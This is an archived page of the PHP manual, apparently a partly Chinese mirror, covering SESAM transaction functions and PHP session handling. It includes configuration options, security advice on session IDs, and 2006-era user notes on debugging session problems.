whence sets the global default value for the scrolling type, it specifies the scroll type to use in subsequent fetch operations on "scrollable" cursors, which can be set to the following predefined constants:

表格 1. Valid values for "whence" parameter

Value | Constant | Meaning
0 | SESAM_SEEK_NEXT | read sequentially
1 | SESAM_SEEK_PRIOR | read sequentially backwards
2 | SESAM_SEEK_FIRST | fetch first row (after fetch, the default is set to SESAM_SEEK_NEXT)
3 | SESAM_SEEK_LAST | fetch last row (after fetch, the default is set to SESAM_SEEK_PRIOR)
4 | SESAM_SEEK_ABSOLUTE | fetch absolute row number given as offset (Zero-based. After fetch, the default is set to SESAM_SEEK_ABSOLUTE, and the offset value is auto-incremented)
5 | SESAM_SEEK_RELATIVE | fetch relative to current scroll position, where offset can be a positive or negative offset value (this also sets the default "offset" value for subsequent fetches).

offset is an optional parameter which is only evaluated (and required) if whence is either SESAM_SEEK_RELATIVE or SESAM_SEEK_ABSOLUTE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_rollback | 上一级 | sesam_settransaction


sesam_settransaction

(PHP 3 CVS only)

sesam_settransaction -- Set SESAM transaction parameters

Description

bool sesam_settransaction ( int isolation_level, int read_only )

Returns: TRUE if the values are valid, and the settransaction() operation was successful, FALSE otherwise.

sesam_settransaction() overrides the default values for the "isolation level" and "read-only" transaction parameters (which are set in the SESAM configuration file), in order to optimize subsequent queries and guarantee database consistency. The overridden values are used for the next transaction only.

sesam_settransaction() can only be called before starting a transaction, not after the transaction has been started already.

To simplify the use in PHP scripts, the following constants have been predefined in PHP (see SESAM handbook for detailed explanation of the semantics):

表格 1. Valid values for "Isolation_Level" parameter

Value | Constant | Meaning
1 | SESAM_TXISOL_READ_UNCOMMITTED | Read Uncommitted
2 | SESAM_TXISOL_READ_COMMITTED | Read Committed
3 | SESAM_TXISOL_REPEATABLE_READ | Repeatable Read
4 | SESAM_TXISOL_SERIALIZABLE | Serializable

表格 2. Valid values for "Read_Only" parameter

Value | Constant | Meaning
0 | SESAM_TXREAD_READWRITE | Read/Write
1 | SESAM_TXREAD_READONLY | Read-Only

The values set by sesam_settransaction() will override the default setting specified in the SESAM configuration file.

例子 1. Setting SESAM transaction parameters

<?php
sesam_settransaction (SESAM_TXISOL_REPEATABLE_READ,
                     SESAM_TXREAD_READONLY);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_seek_row | 上一级 | Session Handling Functions


Session Handling Functions

PHP 手册
后退 前进

CXXXI. Session Handling Functions

简介

Session support in PHP consists of a way to preserve certain data across subsequent accesses. This enables you to build more customized applications and increase the appeal of your web site.

A visitor accessing your web site is assigned an unique id, the so-called session id. This is either stored in a cookie on the user side or is propagated in the URL.

The session support allows you to register arbitrary numbers of variables to be preserved across requests. When a visitor accesses your site, PHP will check automatically (if session.auto_start is set to 1) or on your request (explicitly through session_start() or implicitly through session_register()) whether a specific session id has been sent with the request. If this is the case, the prior saved environment is recreated.

注意

If you do turn on session.auto_start then you cannot put objects into your sessions since the class definition has to be loaded before starting the session in order to recreate the objects in your session.

All registered variables are serialized after the request finishes. Registered variables which are undefined are marked as being not defined. On subsequent accesses, these are not defined by the session module unless the user defines them later.

警告

Some types of data can not be serialized thus stored in sessions. It includes resource variables or objects with circular references (i.e. objects which passes a reference to itself to another object).

注: Session handling was added in PHP 4.0.

注: Please note when working with sessions that a record of a session is not created until a variable has been registered using the session_register() function or by adding a new key to the $_SESSION superglobal array. This holds true regardless of if a session has been started using the session_start() function.

Sessions and security

External links: Session fixation

The session module cannot guarantee that the information you store in a session is only viewed by the user who created the session. You need to take additional measures to actively protect the integrity of the session, depending on the value associated with it.

Assess the importance of the data carried by your sessions and deploy additional protections -- this usually comes at a price, reduced convenience for the user. For example, if you want to protect users from simple social engineering tactics, you need to enable session.use_only_cookies. In that case, cookies must be enabled unconditionally on the user side, or sessions will not work.

There are several ways to leak an existing session id to third parties. A leaked session id enables the third party to access all resources which are associated with a specific id. First, URLs carrying session ids. If you link to an external site, the URL including the session id might be stored in the external site's referrer logs. Second, a more active attacker might listen to your network traffic. If it is not encrypted, session ids will flow in plain text over the network. The solution here is to implement SSL on your server and make it mandatory for users.

需求

要编译本扩展模块不需要外部库文件。

注: Optionally you can use shared memory allocation (mm), developed by Ralf S. Engelschall, for session storage. You have to download mm and install it. This option is not available for Windows platforms. Note that the session storage module for mm does not guarantee that concurrent accesses to the same session are properly locked. It might be more appropriate to use a shared memory based filesystem (such as tmpfs on Solaris/Linux, or /dev/md on BSD) to store sessions in files, because they are properly locked.

安装

Session support is enabled in PHP by default. If you would not like to build your PHP with session support, you should specify the --disable-session option to configure. To use shared memory allocation (mm) for session storage configure PHP --with-mm[=DIR] .

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

注: By default, all data related to a particular session will be stored in a file in the directory specified by the session.save_path INI option. A file for each session (regardless of if any data is associated with that session) will be created. This is due to the fact that a session is opened (a file is created) but no data is even written to that file. Note that this behavior is a side-effect of the limitations of working with the file system and it is possible that a custom session handler (such as one which uses a database) does not keep track of sessions which store no data.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Session configuration options

Name | Default | Changeable | Changelog
session.save_path | "" | PHP_INI_ALL |
session.name | "PHPSESSID" | PHP_INI_ALL |
session.save_handler | "files" | PHP_INI_ALL |
session.auto_start | "0" | PHP_INI_ALL |
session.gc_probability | "1" | PHP_INI_ALL |
session.gc_divisor | "100" | PHP_INI_ALL | Available since PHP 4.3.2.
session.gc_maxlifetime | "1440" | PHP_INI_ALL |
session.serialize_handler | "php" | PHP_INI_ALL |
session.cookie_lifetime | "0" | PHP_INI_ALL |
session.cookie_path | "/" | PHP_INI_ALL |
session.cookie_domain | "" | PHP_INI_ALL |
session.cookie_secure | "" | PHP_INI_ALL | Available since PHP 4.0.4.
session.use_cookies | "1" | PHP_INI_ALL |
session.use_only_cookies | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
session.referer_check | "" | PHP_INI_ALL |
session.entropy_file | "" | PHP_INI_ALL |
session.entropy_length | "0" | PHP_INI_ALL |
session.cache_limiter | "nocache" | PHP_INI_ALL |
session.cache_expire | "180" | PHP_INI_ALL |
session.use_trans_sid | "0" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.2.3. PHP_INI_PERDIR in PHP < 5. Available since PHP 4.0.3.
session.bug_compat_42 | "1" | PHP_INI_ALL | Available since PHP 4.3.0.
session.bug_compat_warn | "1" | PHP_INI_ALL | Available since PHP 4.3.0.
session.hash_function | "0" | PHP_INI_ALL | Available since PHP 5.0.0.
session.hash_bits_per_character | "4" | PHP_INI_ALL | Available since PHP 5.0.0.
url_rewriter.tags | "a=href,area=href,frame=src,form=,fieldset=" | PHP_INI_ALL | Available since PHP 4.0.4.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

The session management system supports a number of configuration options which you can place in your php.ini file. We will give a short overview.

session.save_handler string

session.save_handler defines the name of the handler which is used for storing and retrieving data associated with a session. Defaults to files. See also session_set_save_handler().

session.save_path string

session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created. Defaults to /tmp. See also session_save_path().

There is an optional N argument to this directive that determines the number of directory levels your session files will be spread around in. For example, setting to '5;/tmp' may end up creating a session file and location like /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If . In order to use N you must create all of these directories before use. A small shell script exists in ext/session to do this, it's called mod_files.sh. Also note that if N is used and greater than 0 then automatic garbage collection will not be performed, see a copy of php.ini for further information. Also, if you use N, be sure to surround session.save_path in "quotes" because the separator (;) is also used for comments in php.ini.

警告

If you leave this set to a world-readable directory, such as /tmp (the default), other users on the server may be able to hijack sessions by getting the list of files in that directory.

注: Prior to PHP 4.3.6, Windows users had to change this variable in order to use PHP's session functions. A valid path must be specified, e.g.: c:/temp.

session.name string

session.name specifies the name of the session which is used as cookie name. It should only contain alphanumeric characters. Defaults to PHPSESSID. See also session_name().

session.auto_start boolean

session.auto_start specifies whether the session module starts a session automatically on request startup. Defaults to 0 (disabled).

session.serialize_handler string

session.serialize_handler defines the name of the handler which is used to serialize/deserialize data. Currently, a PHP internal format (name php) and WDDX is supported (name wddx). WDDX is only available, if PHP is compiled with WDDX support. Defaults to php.

session.gc_probability integer

session.gc_probability in conjunction with session.gc_divisor is used to manage probability that the gc (garbage collection) routine is started. Defaults to 1. See session.gc_divisor for details.

session.gc_divisor integer

session.gc_divisor coupled with session.gc_probability defines the probability that the gc (garbage collection) process is started on every session initialization. The probability is calculated by using gc_probability/gc_divisor, e.g. 1/100 means there is a 1% chance that the GC process starts on each request. session.gc_divisor defaults to 100.

session.gc_maxlifetime integer

session.gc_maxlifetime specifies the number of seconds after which data will be seen as 'garbage' and cleaned up.

注: If you are using the default file-based session handler, your filesystem must keep track of access times (atime). Windows FAT does not so you will have to come up with another way to handle garbage collecting your session if you are stuck with a FAT filesystem or any other fs where atime tracking is not available. Since PHP 4.2.3 it has used mtime (modified date) instead of atime. So, you won't have problems with filesystems where atime tracking is not available.

session.referer_check string

session.referer_check contains the substring you want to check each HTTP Referer for. If the Referer was sent by the client and the substring was not found, the embedded session id will be marked as invalid. Defaults to the empty string.

session.entropy_file string

session.entropy_file gives a path to an external resource (file) which will be used as an additional entropy source in the session id creation process. Examples are /dev/random or /dev/urandom which are available on many Unix systems.

session.entropy_length integer

session.entropy_length specifies the number of bytes which will be read from the file specified above. Defaults to 0 (disabled).

session.use_cookies boolean

session.use_cookies specifies whether the module will use cookies to store the session id on the client side. Defaults to 1 (enabled).

session.use_only_cookies boolean

session.use_only_cookies specifies whether the module will only use cookies to store the session id on the client side. Defaults to 0 (disabled, for backward compatibility). Enabling this setting prevents attacks involved passing session ids in URLs. This setting was added in PHP 4.3.0.

session.cookie_lifetime integer

session.cookie_lifetime specifies the lifetime of the cookie in seconds which is sent to the browser. The value 0 means "until the browser is closed." Defaults to 0. See also session_get_cookie_params() and session_set_cookie_params().

session.cookie_path string

session.cookie_path specifies path to set in session_cookie. Defaults to /. See also session_get_cookie_params() and session_set_cookie_params().

session.cookie_domain string

session.cookie_domain specifies the domain to set in session_cookie. Default is none at all meaning the host name of the server which generated the cookie according to cookies specification. See also session_get_cookie_params() and session_set_cookie_params().

session.cookie_secure boolean

session.cookie_secure specifies whether cookies should only be sent over secure connections. Defaults to off. This setting was added in PHP 4.0.4. See also session_get_cookie_params() and session_set_cookie_params().

session.cache_limiter string

session.cache_limiter specifies cache control method to use for session pages (none/nocache/private/private_no_expire/public). Defaults to nocache. See also session_cache_limiter().

session.cache_expire integer

session.cache_expire specifies time-to-live for cached session pages in minutes, this has no effect for nocache limiter. Defaults to 180. See also session_cache_expire().

session.use_trans_sid boolean

session.use_trans_sid whether transparent sid support is enabled or not. Defaults to 0 (disabled).

注: For PHP 4.1.2 or less, it is enabled by compiling with --enable-trans-sid. From PHP 4.2.0, trans-sid feature is always compiled.

URL based session management has additional security risks compared to cookie based session management. Users may send a URL that contains an active session ID to their friends by email or users may save a URL that contains a session ID to their bookmarks and access your site with the same session ID always, for example.

session.bug_compat_42 boolean

PHP versions 4.2.3 and lower have an undocumented feature/bug that allows you to initialize a session variable in the global scope, albeit register_globals is disabled. PHP 4.3.0 and later will warn you, if this feature is used, and if session.bug_compat_warn is also enabled. This feature/bug can be disabled by disabling this directive.

session.bug_compat_warn boolean

PHP versions 4.2.3 and lower have an undocumented feature/bug that allows you to initialize a session variable in the global scope, albeit register_globals is disabled. PHP 4.3.0 and later will warn you, if this feature is used by enabling both session.bug_compat_42 and session.bug_compat_warn.

session.hash_function integer

session.hash_function allows you to specify the hash algorithm used to generate the session IDs. '0' means MD5 (128 bits) and '1' means SHA-1 (160 bits).

注: This was introduced in PHP 5.

session.hash_bits_per_character integer

session.hash_bits_per_character allows you to define how many bits are stored in each character when converting the binary hash data to something readable. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ",").

注: This was introduced in PHP 5.

url_rewriter.tags string

url_rewriter.tags specifies which HTML tags are rewritten to include session id if transparent sid support is enabled. Defaults to a=href,area=href,frame=src,input=src,form=fakeentry,fieldset=

注: If you want XHTML conformity, remove the form entry and use the <fieldset> tags around your form fields.

The track_vars and register_globals configuration settings influence how the session variables get stored and restored.

注: As of PHP 4.0.3, track_vars is always turned on.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

SID (string)

Constant containing either the session name and session ID in the form of "name=ID" or empty string if session ID was set in an appropriate session cookie.

范例

注: As of PHP 4.1.0, $_SESSION is available as a global variable just like $_POST, $_GET, $_REQUEST and so on. Unlike $HTTP_SESSION_VARS, $_SESSION is always global. Therefore, you do not need to use the global keyword for $_SESSION. Please note that this documentation has been changed to use $_SESSION everywhere. You can substitute $HTTP_SESSION_VARS for $_SESSION, if you prefer the former. Also note that you must start your session using session_start() before use of $_SESSION becomes available.

The keys in the $_SESSION associative array are subject to the same limitations as regular variable names in PHP, i.e. they cannot start with a number and must start with a letter or underscore. For more details see the section on variables in this manual.

If register_globals is disabled, only members of the global associative array $_SESSION can be registered as session variables. The restored session variables will only be available in the array $_SESSION.

Use of $_SESSION (or $HTTP_SESSION_VARS with PHP 4.0.6 or less) is recommended for improved security and code readability. With $_SESSION, there is no need to use the session_register(), session_unregister(), session_is_registered() functions. Session variables are accessible like any other variables.

例子 1. Registering a variable with $_SESSION.

<?php
session_start();
// Use $HTTP_SESSION_VARS with PHP 4.0.6 or less
if (!isset($_SESSION['count'])) {
    $_SESSION['count'] = 0;
} else {
    $_SESSION['count']++;
}
?>

例子 2. Unregistering a variable with $_SESSION and register_globals disabled.

<?php
session_start();
// Use $HTTP_SESSION_VARS with PHP 4.0.6 or less
unset($_SESSION['count']);
?>

注意

Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal.

警告

You can't use references in session variables as there is no feasible way to restore a reference to another variable.

例子 3. Unregistering a variable with register_globals enabled, after registering it using $_SESSION.

<?php
session_start();
// With PHP 4.3 and later, you can also simply use the prior example.
session_unregister('count');
?>

If register_globals is enabled, then each global variable can be registered as session variable. Upon a restart of a session, these variables will be restored to corresponding global variables. Since PHP must know which global variables are registered as session variables, users need to register variables with session_register() function. You can avoid this by simply setting entries in $_SESSION.

注意

Before PHP 4.3, if you are using $_SESSION and you have disabled register_globals, don't use session_register(), session_is_registered() or session_unregister().

If you enable register_globals, session_unregister() should be used since session variables are registered as global variables when session data is deserialized. Disabling register_globals is recommended for both security and performance reasons.

例子 4. Registering a variable with register_globals enabled

<?php
if (! isset($_SESSION['count'])) {
    $_SESSION['count'] = 1;
} else {
    $_SESSION['count']++;
}
?>

If register_globals is enabled, then the global variables and the $_SESSION entries will automatically reference the same values which were registered in the prior session instance.

There is a defect in PHP 4.2.3 and earlier. If you register a new session variable by using session_register(), the entry in the global scope and the $_SESSION entry will not reference the same value until the next session_start(). I.e. a modification to the newly registered global variable will not be reflected by the $_SESSION entry. This has been corrected in PHP 4.3.

Passing the Session ID

There are two methods to propagate a session id:

  • Cookies

  • URL parameter

The session module supports both methods. Cookies are optimal, but because they are not always available, we also provide an alternative way. The second method embeds the session id directly into URLs.

PHP is capable of transforming links transparently. Unless you are using PHP 4.2 or later, you need to enable it manually when building PHP. Under Unix, pass --enable-trans-sid to configure. If this build option and the run-time option session.use_trans_sid are enabled, relative URIs will be changed to contain the session id automatically.

注: The arg_separator.output php.ini directive allows to customize the argument seperator. For full XHTML conformance, specify &amp; there.

Alternatively, you can use the constant SID which is always defined. If the client did not send an appropriate session cookie, it has the form session_name=session_id. Otherwise, it expands to an empty string. Thus, you can embed it unconditionally into URLs.

The following example demonstrates how to register a variable, and how to link correctly to another page using SID.

例子 5. Counting the number of hits of a single user

<?php
if (!session_is_registered('count')) {
    session_register('count');
    $count = 1;
} else {
    $count++;
}
?>

<p>
Hello visitor, you have seen this page <?php echo $count; ?> times.
</p>

<p>
To continue, <a href="nextpage.php?<?php echo strip_tags(SID); ?>">click
here</a>.
</p>

The strip_tags() is used when printing the SID in order to prevent XSS related attacks.

Printing the SID, like shown above, is not necessary if --enable-trans-sid was used to compile PHP.

注: Non-relative URLs are assumed to point to external sites and hence don't append the SID, as it would be a security risk to leak the SID to a different server.

Custom Session Handlers

To implement database storage, or any other storage method, you will need to use session_set_save_handler() to create a set of user-level storage functions.

目录
session_cache_expire -- Return current cache expire
session_cache_limiter -- Get and/or set the current cache limiter
session_commit -- 别名 session_write_close()
session_decode -- Decodes session data from a string
session_destroy -- Destroys all data registered to a session
session_encode -- 将当前会话数据编码为一个字符串
session_get_cookie_params -- Get the session cookie parameters
session_id -- Get and/or set the current session id
session_is_registered -- Find out whether a global variable is registered in a session
session_module_name -- Get and/or set the current session module
session_name -- Get and/or set the current session name
session_regenerate_id -- Update the current session id with a newly generated one
session_register -- Register one or more global variables with the current session
session_save_path -- Get and/or set the current session save path
session_set_cookie_params -- Set the session cookie parameters
session_set_save_handler -- Sets user-level session storage functions
session_start -- Initialize session data
session_unregister -- Unregister a global variable from the current session
session_unset -- Free all session variables
session_write_close -- Write session data and end session

add a note add a note User Contributed Notes
JimRogers at mail dot com
26-May-2006 07:54
A way to avoid starting the session twice, simpler than the session checking class above:

if (!isset ($_SESSION)) session_start();
rehevkor5 at fastmail dot fm
26-May-2006 02:34
If you have a value specified for session.referer_check you may run into difficulty when someone accesses your site and attempts to log in with a mis-capitalized URL.  The logon will fail because any calls to session_start() will result in the existing session being trashed and a new one being created.  This becomes a bigger problem when the logon is followed by a header("Location: ...") redirect, because the session_start() at the top of the page will fail.

Because session_start() always returns true, it's not obvious how to detect when the referer check fails.  To detect it, I have come up with a method which compares the intended session id with the session id after session_start() is run.  If they are different, the user is redirected to the proper location.  This example uses a technique to avoid session id fixation, as well.

ini_set('session.referer_check', 'www.yourdomain.edu/ltr/');
ini_set('session.use_only_cookies', 1);
session_name('yourapp'.str_replace('.', '', $_SERVER['REMOTE_ADDR']));
session_start();
if($_GET['badreferer'])
   echo 'You tried accessing the site with a bad URL. Try logging on again.';
if(isUserAuthed($name, $pass))
{
   $old_sessid = session_id(); //save current session id so we can delete it later
   if( !session_regenerate_id() ) //get a new session id (must do this before destroying the old session)
       die("Couldn't regenerate your session id.");

   $new_sessid = session_id(); //save new session id so we can get back to it

   session_id($old_sessid);
   unset($old_sessid);
   session_destroy(); //destroy the session they got before they logged in

   session_id($new_sessid);
   session_start(); //start the new session

   $_SESSION = array(); //not really necessary any more, but still a good idea

   if(session_id() != $new_sessid)
   {
       /*If this is true, then the session_start() failed to work properly. If session_start() failed to work properly, the most likely cause is that the referer url is different from that set in fuxebox.ini on session.referer_check. The most common cause of this is URL capitalization problems. Therefore, we relocate them to the proper URL, and set a flag to display an error because we can't use pushError() if the session isn't valid. */

       $good_url = ini_get('session.referer_check');
       header('Location: http://'.$good_url.'?badreferer=1');
       exit;
   } else {
       unset($new_sessid);
       //Set session variables here
       $_SESSION['isloggedin'] = 1;

       echo 'You have been logged in.';
   }

}
rajasekhar_s7 at yahoo dot co dot in
19-May-2006 07:07
POST the variable can give the page Expire Warnig when you press the BACK button.
               Solution: Put this code on the page top.
           <?    session.cashe.limiter(private, must-revalidate)  ?>
lesley at skaainet dot be
14-May-2006 07:26
You cannot set a numeric key in a session:

<?php
$_SESSION["1"] = "blaat";
?>

Won't work

<?php
$_SESSION["Basket"]["1"] = "blaat";
?>

Will work
php AT coryforsyth [removeme] d0t com
09-May-2006 10:14
I just finished a marathon debugging session with sessions, and I wanted to share what I learned with the rest of the PHP community because this has been a problem I've battled on several projects before finally solving it today.

I am using sessions to register a user's ID, and every so often, for no apparent reason, the session would seem to expire and my logged-in user would get kicked out.

This is the code I am using to validate a user:
<?php
session_start();

$auth = false;

if (isset($_SESSION['user_id'])) {
   $user = new User($_SESSION['user_id']);
   $auth = true;
else {
   $login = $_REQUEST['login'];
   $password = $_REQUEST['password'];
   $login = clean($login);
   $password = clean($password);
   // clean() is my own function to escape quotes and so on
   $user = checkLogin($login,$password);
   if (!is_null($user)) {
       $auth = true;
   }
}

if (!$auth) {
   die("you must log in.");
}

// etc etc ... //
?>

I was scratching my head as to why, on about 10% of the times I sent a user to a new page (a PHP page that didn't have any of the sessions stuff--no session_start() and no mention of any session variables), when they came back the session variables were all empty.

I came upon a clue when I used ini_set to change the session.save_path location.  My idea was that maybe the session files in /tmp were being deleted by other users on the system or something.  So I added this line before session_start():
<?php
ini_set('session.save_path',"/path/to/unique/dir/");
?>
I knew no one else was saving their sessions there, so I started logging in to my page and at the same time checking for the creation of new sess_* files.  I noticed that sometimes, especially when I had problems, a second session file (that was empty) would appear.

What I realized was that the URL was changing from www.coryforsyth.com to coryforsyth.com.  When the presence of the WWW changed, PHP thought it was a different session and created an empty one that caused my script to log me out.  If I went to the location bar of my browser and added/removed the WWW (to the way it had been before), all was well and I was still logged in.

An incredibly thorny problem. I hope this post helps someone else fix it, or even better prevent it.  I changed my hosting preferences to automatically add a WWW to my domain if it wasn't typed that way.

thanks,
Cory Forsyth
brady at volchok dot com
18-Apr-2006 03:15
Session locking (concurrency) notes:

As mentioned several times throughout this section on Sessions, the default PHP session model locks a session until the page has finished loading. So if you have two or three frames that load, and each one uses sessions, they will load one at a time. This is so that only one PHP execution context has write access to the session at any one time.

Some people work around this by calling session_write_close() as soon as they've finished writing any data to the $_SESSION - they can continue to read data even after they've called it. The disadvantage to session_write_close() is that your code still will lock on that first call to session_start() on any session'ed page, and that you have to sprinkle session_write_close() everywhere you use sessions, as soon as you can. This is still a very good method, but if your Session access follows some particular patterns, you may have another way which requires less modification of your code.

The idea is that if your session code <b>mostly</b> reads from sessions, and rarely writes to them, then you can allow concurrent access. To prevent completely corrupted session data, we will lock the session's backing store (tmp files usually) while we write to them. This means the session is only locked for the brief instant that we are writing to the backing store. However, this means that if you have two pages loading simultaneously, and both modify the session, the <i>Last One Wins</i>. Whichever one loads first will get its data overwritten by the one that loads second. If this is okay with you, you may continue - otherwise, use the session_write_close method, above.

If you have complicated bits of code that depend on some state in the session, and some state in a database or text file, or something else - again, you may not want to use this method. When you have two simultaneous pages running, you might find that one page runs halfway through, modifying your text file, then the second one runs all the way through, further modifying your text file, then the first one finishes - and your data might be mangled, or completely lost.

So if you're prepared to debug potentially very, very nasty race conditions, and your access patterns for your sessions is read-mostly and write-rarely (and not write-dearly), then you can try the following system.

Copy the example from session_set_save_handler() into your include file, above where you start your sessions. Modify the session write() method:

<?
function write($id, $sess_data)
{
  global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  if ($fp = @fopen($sess_file, "w")) {
   flock($fp,LOCK_EX);
   $results=fwrite($fp, $sess_data);
   flock($fp,LOCK_UN);
   return($results);
  } else {
   return(false);
  }

}
?>

You will probably also want to add a GC (Garbage Collection) method for the sessions, as well.

And of course, take this advice with a grain of salt - We currently have it running on our testing server, and it seems to work OK there, but people have reported terrible problems with the Shared Memory session handler, and this method may be as unsafe as that.

You can also consider implementing your own locks for scary concurrency-sensitive bits of your code.
marcosdsanchez {a t} gmail [_dot_] com
08-Apr-2006 10:52
********************WARNING***********************

There's a bug in Internet explorer in which sessions do not work if the name of the server is not a valid name. For example...if your server is called web_server (_ isn't a valid character), if you call a page which uses sessions like http://web_server/example.php your sessions won't work but sessions will work if you call the script like this

[IP NUMBER]/example.php

Took me a lot of time to find out why my PHP sessions worked perfectly in Firefox and Opera but they didn't work in internet explorer

***************************************************
Cosmo
01-Apr-2006 08:47
Fairly new to PHP, I've been looking to alter session timeouts on a shared host where I don't have direct access to configure php.ini.  There doesn't appear to be any easy way to find out how to do this in this manual (nor from a quick web search).

The code below seems to work OK to set session timeout.    a timeout of 30 secs is used for convenient testing.  gc settings must come before session_start().

The garbage collection is made 100% by setting probability and divisor to the same value - if I have correctly understood what these functions do.

(on the first pass of the file, there is no session file - that's established only when the script ends for the first time.  Keep reloading to test).

Comments welcome.

<?php
  ini_set('session.gc_maxlifetime',30);
  ini_set('session.gc_probability',1);
  ini_set('session.gc_divisor',1);
   session_start();

// check to see what's happening
$filepath = ini_get('session.save_path').'/sess_'.session_id();

if(file_exists($filepath))
{
   $filetime = filemtime ($filepath);
   $timediff = mktime() - $filetime;
   echo 'session established '.$timediff.' seconds ago<br><br>';
}
?>
Josh
09-Mar-2006 02:35
I had users of my site occsaionally complaining that they were being logged out after short times of inactivity (usually when they were creating content to send to the site). I had a high cookie timout so I couldn't understand why this was happening, and I never managed to replicate the behaviour myself.

I've just come accross the "gc_maxlifetime" property. This seems to be the culprit; it's set to only 24 minutes! The worst part is that it combines with the "gc_probability" property to produce unpredictable results. I'm mysified as to why the time limit is so low by default, but hopefully increasing it will fix up my errors.
crown2gain at yahoo dot com
02-Mar-2006 02:19
I just spent a lot of time trying to figure out why my session variables were not available after I seemed to have set them(could echo after setting).  I use the same script for several different functions, so the user may reload the page for other purposes.  Someone else posted the use of session_write_close();  before a Location redirect.  This also worked in put this after I set the session variables the variables are available when the page reloads for another function.

$_SESSION['guid'] = $guid;
$_SESSION['userdata'] = $response;
session_write_close();
a l bell at hutchison dot com dot au
01-Mar-2006 07:17
Please Note;

Internet explorer users beware.

When using session_start() to begin a session this session will remain open until the page has finished loading or it is explicitly terminated.

You can lose the session however if the the page contains a reference to <img src=""> with name and id references (which may be used if the image is referencing a dynamic image, called by javascript)  This seems to casue IE6 to refresh the page session id and hence loose the session.

This took hours for me to diagnose when users were getting unexpectedly logged out of my site due to this "" in the img src.
kintar at infinities-within dot net
01-Mar-2006 01:10
Important note that it just took me the better part of two hours to figure out:  Even if you're using session_write_close(), calling exit after a redirect will eat your session variables.  I had the following:

Source of register.php:
<?PHP

// Some files included here

// Process our posted form data
$result = processPost();

if ($result)
{
  redirect('success.php');
}
else
{
  redirect('failure.php');
}

exit;
?>

processPost() was setting a couple of session variables, including an error message, but neither results page was seeing those variables.  I removed the exit call from the register page, and all works fine.

/bonks self
phpkloss at wholewheatradio dot org
22-Feb-2006 04:57
If you're having trouble with unset($_SESSION[$something]) working, here's what I discovered (Win2K/PHP 5.x.x).  Assume you want to step through $_SESSION and delete (i.e. unset) certain elements.  So,

foreach ($_SESSION as $key=>$value) {
   if (stristr($key,'something_to_delete')) {
     echo "Will unset $key that has value of $value";
     unset($_SESSION[$key]);
}

What I found was that although the $_SESSION elements were deleted in memory, the actual session file was not being written out with the changes (even after using session_write_close).  What fixed it for me was to COPY $_SESSION INTO A DUMMY ARRAY, THEN STEP THROUGH THAT DUMMY ARRAY TO FIGURE OUT WHICH ELEMENTS OF THE REAL $_SESSION TO DELETE.  I.e.

foreach($_SESSION as $key=>$value) {
  $dummy[$key]=$value;  // copy to a dummy array
}

foreach ($dummy as $key=>$value) {
   if (stristr($key,'something_to_delete')) {
     echo "Will unset $key that has value of $value";
     unset($_SESSION[$key]);
}

It appears that as you're stepping through the actual $_SESSION array in a foreach, if you unset elements of it, those changes won't be recorded to the session disk file.

'Course then again, my coffee is running low so I could be wrong.  But hopefully it's something others can try who might be having a similar problem.
21-Feb-2006 02:21
In response to "djohnson at jsatech dot com", posted 09-Dec-2005 09:00

"Be warned, when working with tab-based browsers like Opera and Firefox, sessions are preserved across tabs....IE deals with sessions just fine.  There is probably some way to adjust the settings in Firefox or Opera, but that is not the default, and will affect most users."

In fact, the way sessions are managed among different browsers is not all that different among MSIE and Opera and Firefox.  You will find that MSIE sessions can be maintained across browser windows, just like in FF or Opera.  However the difference that djohnson noted is because of the way MSIE windows are created vs FF and Opera.

If you choose, in MSIE, "File->New Window", you will find that PHP sessions are preserved from browser window to browser window.

If, OTOH, you start a new window of MSIE using the start menu or desktop icon, a new instance of MSIE, with a new process ID, is started.  *This* instance does not have anything to do with any other previously existing MSIE instances, and, thus, PHP sessions started in this new MSIE process are distinct from PHP sessions in existing MSIE instances.

See the difference?

Whereas FF and Opera apparently always start a new window into an existing FF or Opera process.  Thus PHP sessions are always maintained across browser instances with FF and Opera.
hans at nieser dot net
14-Feb-2006 11:15
FreeBSD users, instead of modifying the PHP5 port Makefile, you can either install the session extension using the www/php5-session port, or you can install several extensions at once (you can pick them from a menu) using the lang/php5-extensions port. Same goes for PHP4
just_somedood at yahoo dot com
02-Feb-2006 01:31
If you're running FreeBSD, and installed php5 (have not checked 4) from the ports, and are getting errors saying the session functions are undefined, try running phpinfo().  You'll probably see that the '--disable-all' configure command was used.  To fix, edit the /usr/ports/lang/php5/Makefile, and remove the '--disable-all' line.  In that directory, run a 'make deinstall', if you installed already.  Next, run 'make install' while still in that same directory.  It should work fine after that.
warkangaroo
27-Jan-2006 12:33
After hitting my head on the desk a few times trying to debug this construct,

$_SESSION['result']['number'] = $blah;

returning the warning,

"Warning: Cannot use a scalar value as an array"

and not saving my value, I found out that apparently $_SESSION['result'] is a reserved variable... I changed it to $_SESSION['bresult'] and it works fine.

Just trying to save someone a headache...
james dot ellis at gmail dot com
26-Jan-2006 04:23
If you are wondering why your garbage cleanup method is not being called, read on.

The manual notes for garbage cleanup state that the session.gc_divisor defaults to 100:

[code]
//http://php.net/manual/en/ref.session.php
session.gc_probability  ... Defaults to 1.
session.gc_divisor  .... session.gc_divisor defaults to 100.
[/code]

This would provide a gc probability of 1 in 100 ie. your garbage cleanup is going to be called 1% of the time.

Conversely, my PHP 5.1.1 install, compiled from source, contains this in the php.ini-recommended file (and my php.ini file):
[code]
; Define the probability that the 'garbage collection' process is started
; on every session initialization.
; The probability is calculated by using gc_probability/gc_divisor,
; e.g. 1/100 means there is a 1% chance that the GC process starts
; on each request.

session.gc_probability = 1
session.gc_divisor    = 1000
[/code]

